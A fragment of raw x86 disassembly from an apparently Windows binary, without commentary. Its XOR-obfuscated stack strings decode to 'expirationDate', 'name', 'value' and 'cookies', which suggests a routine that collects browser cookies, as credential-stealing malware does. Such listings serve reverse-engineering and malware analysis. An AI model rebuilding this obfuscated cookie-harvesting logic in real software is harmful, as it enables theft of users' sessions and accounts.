cmp ecx, 0x1000
jb 0x43aced
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b534
push ecx
push esi
call fcn.004dd7d1
add esp, 8
cmp byte [ebp - 0x1a], 0
mov byte [ebp - 4], 0x16
je 0x43ad33
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0x14]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ad29
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b534
push ecx
push edx
call fcn.004dd7d1
add esp, 8
test edi, edi
je 0x43ad8b
cmp dword [edi + 0x2c], 0
je 0x43ad66
mov eax, 4
cmp ax, word [edi + 0x30]
jae 0x43ad66
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43ad5b
push eax
call dword [0x533d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xa0
jmp 0x43ad90
mov eax, dword [edi]
test eax, eax
je 0x43ad8b
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43ad7d
push eax
call dword [0x533d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e1c0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049c6d0
mov dword [ebp - 0x18], eax
test edi, edi
je 0x43adf4
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43add4
cmp byte [esi + 0x1e], 0
jne 0x43adb7
mov edx, esi
cmp ecx, 0xc0a
jne 0x43adcf
push 0
push 7
push esi
call fcn.0048e1c0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43addb
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43adf1
push eax
call dword [0x533d38]
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
call fcn.004eb0f6
add esp, 4
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x214], edx
xorps xmm0, xmm0
mov byte [ebp - 0x150], 0
movq qword [ebp - 0x148], xmm0
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.004774a0
mov byte [ebp - 4], 0x21
xor eax, eax
mov dword [ebp - 0xab], 0x859b928c
mov dword [ebp - 0xa7], 0x999b8f9f
mov dword [ebp - 0xa3], 0x95b79c9e
mov dword [ebp - 0x9f], 0x1009381
nop dword [eax]
lea ecx, [eax - 0x17]
xor byte [ebp + eax - 0xab], cl
inc eax
cmp eax, 0xe
jb 0x43ae60
lea eax, [ebp - 0xab]
mov byte [ebp - 0x9c], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a720
mov byte [ebp - 4], 0x16
mov edi, eax
mov cl, byte [ebp - 0x150]
mov eax, dword [ebp - 0x148]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x144]
mov esi, dword [edi + 0xc]
mov byte [ebp - 0x150], dl
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x150]
mov dword [edi + 8], eax
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], esi
call fcn.00464100
mov edi, dword [ebp - 0x20]
test edi, edi
je 0x43af29
cmp dword [edi + 0x2c], 0
je 0x43af04
mov eax, 5
cmp ax, word [edi + 0x30]
jae 0x43af04
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43aef9
push eax
call dword [0x533d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xc8
jmp 0x43af2e
mov eax, dword [edi]
test eax, eax
je 0x43af29
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43af1b
push eax
call dword [0x533d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e1c0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049c6d0
mov dword [ebp - 0x14], eax
test edi, edi
je 0x43af8f
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43af72
cmp byte [esi + 0x1e], 0
jne 0x43af55
mov edx, esi
cmp ecx, 0xc0a
jne 0x43af6d
push 0
push 7
push esi
call fcn.0048e1c0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43af79
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43af8f
push eax
call dword [0x533d38]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x1a0], 3
push 0x18
movq qword [ebp - 0x198], xmm0
call fcn.004dd550
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10a]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], esi
mov byte [ebp - 4], 0x22
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43afe5
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00403410
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x198], esi
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov dword [ebp - 0x3a], 0x89868b87
mov word [ebp - 0x36], 0x100
nop dword [eax + eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x3a], al
inc ecx
cmp ecx, 4
jb 0x43b020
lea eax, [ebp - 0x3a]
mov byte [ebp - 0x35], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a720
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x194]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x1a0], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x198], ecx
lea ecx, [ebp - 0x1a0]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x194], edx
call fcn.00464100
mov edi, dword [ebp - 0x20]
test edi, edi
je 0x43b0d9
cmp dword [edi + 0x2c], 0
je 0x43b0b4
mov eax, 6
cmp ax, word [edi + 0x30]
jae 0x43b0b4
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43b0a9
push eax
call dword [0x533d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xf0
jmp 0x43b0de
mov eax, dword [edi]
test eax, eax
je 0x43b0d9
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43b0cb
push eax
call dword [0x533d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e1c0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049c6d0
mov dword [ebp - 0x14], eax
test edi, edi
je 0x43b13f
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43b122
cmp byte [esi + 0x1e], 0
jne 0x43b105
mov eax, esi
cmp ecx, 0xc0a
jne 0x43b11d
push 0
push 7
push esi
call fcn.0048e1c0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x43b129
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43b13f
push eax
call dword [0x533d38]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x1b0], 3
push 0x18
movq qword [ebp - 0x1a8], xmm0
call fcn.004dd550
mov esi, eax
add esp, 4
lea eax, [ebp - 0x109]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x24
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b190
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00403410
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x1a8], esi
mov byte [ebp - 4], 0x25
xor ecx, ecx
mov dword [ebp - 0x6f], 0x99878b9f
mov word [ebp - 0x6b], 0x88
mov byte [ebp - 0x69], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 5
jb 0x43b1c7
lea eax, [ebp - 0x6f]
mov byte [ebp - 0x69], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a720
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x1a4]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x1b0], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x1a8], ecx
lea ecx, [ebp - 0x1b0]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1a4], edx
call fcn.00464100
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0xc0]
call fcn.00463d60
lea ecx, [ebp - 0x130]
push ecx
mov ecx, eax
call fcn.00463a80
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x10
call fcn.00464100
mov edi, dword [ebp - 0x20]
mov ecx, edi
call fcn.0049f800
cmp eax, 0x64
je 0x43a463
test edi, edi
je 0x43b2df
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x43b281
push eax
call dword [0x533d30]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x18], 0
cmp eax, 0xbdf20da3
je 0x43b299
cmp eax, 0x519c2973
jne 0x43b2a3
mov ecx, edi
call fcn.0049e600
mov dword [ebp - 0x18], eax
mov ecx, edi
call fcn.0049e810
test esi, esi
je 0x43b2ce
cmp byte [esi + 0x1e], 0
jne 0x43b2bd
cmp dword [ebp - 0x18], 0xc0a
jne 0x43b2ce
push 0
push 7
push esi
call fcn.0048e1c0
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x43b2df
push eax
call dword [0x533d38]
add esp, 4
mov ecx, dword [ebp - 0x118]
call fcn.00415520
mov dword [ebp - 0x88], 0x8784858a
xor ecx, ecx
mov dword [ebp - 0x84], 0x9c8b84
mov byte [ebp - 0x80], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x88], al
inc ecx
cmp ecx, 7
jb 0x43b304
mov ecx, dword [ebp - 0x11c]
lea eax, [ebp - 0x88]
push eax
mov byte [ebp - 0x80], 0
call fcn.0046a720
lea ecx, [ebp - 0xc0]
push ecx
mov ecx, eax
call fcn.00463a80
lea ecx, [ebp - 0xc0]
call fcn.00464100
mov esi, dword [ebp - 0x24]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1b4]
cmp ecx, 0x10
jb 0x43b385
mov edx, dword [ebp - 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b37b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b534
push ecx
push edx
call fcn.004dd7d1
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
cmp ecx, 0x10
jb 0x43b3de
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b3d4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b534
push ecx
push edx
call fcn.004dd7d1
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x240]
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
cmp ecx, 0x10
jb 0x43b437
mov edx, dword [ebp - 0x254]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b42d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b534
push ecx
push edx
call fcn.004dd7d1
add esp, 8
mov edi, dword [ebp - 0x114]
push edi
call dword [0x50c110]
inc edi
add edi, eax
mov dword [ebp - 0x114], edi
cmp byte [edi], 0
jne 0x439d80
mov ecx, dword [ebp - 0x1cc]
cmp ecx, 0x10
jb 0x43b490
mov edx, dword [ebp - 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b486
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b534
push ecx
push edx
call fcn.004dd7d1
add esp, 8
mov ecx, dword [ebp - 0x1f4]
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
cmp ecx, 0x10
jb 0x43b4e1
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b4d7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b534
push ecx
push edx
call fcn.004dd7d1
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x43b511
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b507
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43b534
push ecx
push edx
call fcn.004dd7d1
add esp, 8
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402c40
call fcn.00402c40
call fcn.004e2a70
lea ecx, [ebp - 0xc0]
call fcn.00468340
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00403300
push eax
mov edx, 0x520e10
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2f0]
call fcn.0046a4d0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x2c0]
call fcn.00409520
add esp, 4
lea eax, [ebp - 0x2c0]
push 0x531630
push eax
call fcn.004df1bb
int3